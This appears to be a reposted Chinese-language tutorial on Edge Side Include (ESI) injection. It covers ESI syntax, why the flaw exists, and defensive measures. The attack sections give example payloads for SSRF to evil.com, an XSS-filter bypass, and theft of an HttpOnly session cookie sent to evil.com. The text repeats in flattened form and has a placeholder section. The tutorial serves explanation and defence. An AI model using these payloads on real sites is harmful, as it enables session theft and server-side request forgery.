浅析Edge Side Include注入(上)
字数 1458 2025-08-26 22:11:45

Edge Side Include (ESI) 注入深度解析

一、ESI 概述

Edge Side Includes (ESI) 是一种基于 XML 标签的标记语言,主要用于改善 HTTP 中间件(如反向代理、负载均衡器、缓存服务器等)在处理大量 Web 内容缓存时的性能问题。

1.1 ESI 工作原理

ESI 允许开发者将页面的动态内容部分替换为 ESI 标签,当用户请求页面时:

  1. 代理服务器解析 ESI 标签
  2. 获取动态内容
  3. 将内容组合到静态页面中
  4. 返回给用户

这种机制有效减轻了后端服务器的压力,特别适用于包含少量动态数据的静态页面。

1.2 支持 ESI 的常见服务

  • Varnish
  • Squid Proxy
  • IBM WebSphere
  • Oracle Fusion/WebLogic
  • Akamai
  • Fastly
  • F5
  • Node.js ESI
  • LiteSpeed
  • 各种语言插件

注意:并非所有服务默认开启 ESI 处理功能。

二、ESI 语法基础

2.1 基本标签结构

<esi:include src="/path/to/content" />

2.2 变量使用

<esi:assign name="var1" value="'value'"/>
<esi:vars name="$(var1)"/>

2.3 动态参数

<esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />

三、ESI 注入漏洞原理

3.1 漏洞成因

HTTP 中间件服务器无法区分 ESI 标签是来自:

  • 上游服务器(合法)
  • 恶意用户输入(非法)

当攻击者注入恶意 ESI 标签时,中间件会盲目解析并执行。

3.2 注入条件

  1. 应用未正确过滤用户输入中的 ESI 标签
  2. 中间件服务器启用了 ESI 解析功能
  3. 注入的标签未被编码或转义

四、ESI 注入攻击类型

4.1 SSRF (Server-Side Request Forgery)

Payload 示例

<esi:include src="http://evil.com/ping/" />

攻击流程

  1. 攻击者发送携带 ESI payload 的请求
  2. 中间件服务器转发给后端服务器
  3. 后端服务器返回包含 ESI payload 的响应
  4. 中间件服务器解析 ESI 标签
  5. 向 evil.com 发起请求
  6. 将响应组合后返回给用户

限制:某些实现可能只允许包含白名单主机的请求。

4.2 绕过客户端 XSS 过滤

技术原理

  • 浏览器 XSS 过滤器无法识别 ESI 标签
  • ESI 引擎在服务器端处理标签并生成有效 XSS payload

Payload 示例

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

处理后生成:

<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>

4.3 组合 SSRF 和 XSS

  1. 准备包含 XSS payload 的外部页面 (poc.html)
  2. 注入 ESI include 标签:
GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />

4.4 绕过 HttpOnly Cookie 保护

Payload 示例

<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

效果:将用户的 HttpOnly cookie 发送到攻击者控制的服务器。

五、防御措施

5.1 输入验证和过滤

  • 对所有用户输入进行严格的验证
  • 过滤或转义 <esi: 等特殊字符序列

5.2 输出编码

  • 确保所有动态内容在输出时进行适当的编码

5.3 安全配置

  • 禁用不必要的 ESI 处理功能
  • 限制 ESI include 的白名单主机
  • 实施严格的 CSP (Content Security Policy)

5.4 监控和日志

  • 监控异常的 ESI 标签处理
  • 记录所有 ESI 解析活动

六、实际案例分析

(注:原文提到将在下一部分分析真实案例,此处可留空或根据已知信息补充)

七、总结

ESI 注入是一种相对少见但危害严重的攻击技术,能够导致:

  • SSRF 攻击
  • 多种 XSS 攻击(包括绕过现代防护措施)
  • 服务器端拒绝服务
  • HttpOnly Cookie 窃取

防御的关键在于严格处理用户输入、合理配置中间件服务器,并实施多层安全防护措施。

Edge Side Include (ESI) 注入深度解析 一、ESI 概述 Edge Side Includes (ESI) 是一种基于 XML 标签的标记语言,主要用于改善 HTTP 中间件(如反向代理、负载均衡器、缓存服务器等)在处理大量 Web 内容缓存时的性能问题。 1.1 ESI 工作原理 ESI 允许开发者将页面的动态内容部分替换为 ESI 标签,当用户请求页面时: 代理服务器解析 ESI 标签 获取动态内容 将内容组合到静态页面中 返回给用户 这种机制有效减轻了后端服务器的压力,特别适用于包含少量动态数据的静态页面。 1.2 支持 ESI 的常见服务 Varnish Squid Proxy IBM WebSphere Oracle Fusion/WebLogic Akamai Fastly F5 Node.js ESI LiteSpeed 各种语言插件 注意 :并非所有服务默认开启 ESI 处理功能。 二、ESI 语法基础 2.1 基本标签结构 2.2 变量使用 2.3 动态参数 三、ESI 注入漏洞原理 3.1 漏洞成因 HTTP 中间件服务器无法区分 ESI 标签是来自: 上游服务器(合法) 恶意用户输入(非法) 当攻击者注入恶意 ESI 标签时,中间件会盲目解析并执行。 3.2 注入条件 应用未正确过滤用户输入中的 ESI 标签 中间件服务器启用了 ESI 解析功能 注入的标签未被编码或转义 四、ESI 注入攻击类型 4.1 SSRF (Server-Side Request Forgery) Payload 示例 : 攻击流程 : 攻击者发送携带 ESI payload 的请求 中间件服务器转发给后端服务器 后端服务器返回包含 ESI payload 的响应 中间件服务器解析 ESI 标签 向 evil.com 发起请求 将响应组合后返回给用户 限制 :某些实现可能只允许包含白名单主机的请求。 4.2 绕过客户端 XSS 过滤 技术原理 : 浏览器 XSS 过滤器无法识别 ESI 标签 ESI 引擎在服务器端处理标签并生成有效 XSS payload Payload 示例 : 处理后生成: 4.3 组合 SSRF 和 XSS 准备包含 XSS payload 的外部页面 (poc.html) 注入 ESI include 标签: 4.4 绕过 HttpOnly Cookie 保护 Payload 示例 : 效果 :将用户的 HttpOnly cookie 发送到攻击者控制的服务器。 五、防御措施 5.1 输入验证和过滤 对所有用户输入进行严格的验证 过滤或转义 <esi: 等特殊字符序列 5.2 输出编码 确保所有动态内容在输出时进行适当的编码 5.3 安全配置 禁用不必要的 ESI 处理功能 限制 ESI include 的白名单主机 实施严格的 CSP (Content Security Policy) 5.4 监控和日志 监控异常的 ESI 标签处理 记录所有 ESI 解析活动 六、实际案例分析 (注:原文提到将在下一部分分析真实案例,此处可留空或根据已知信息补充) 七、总结 ESI 注入是一种相对少见但危害严重的攻击技术,能够导致: SSRF 攻击 多种 XSS 攻击(包括绕过现代防护措施) 服务器端拒绝服务 HttpOnly Cookie 窃取 防御的关键在于严格处理用户输入、合理配置中间件服务器,并实施多层安全防护措施。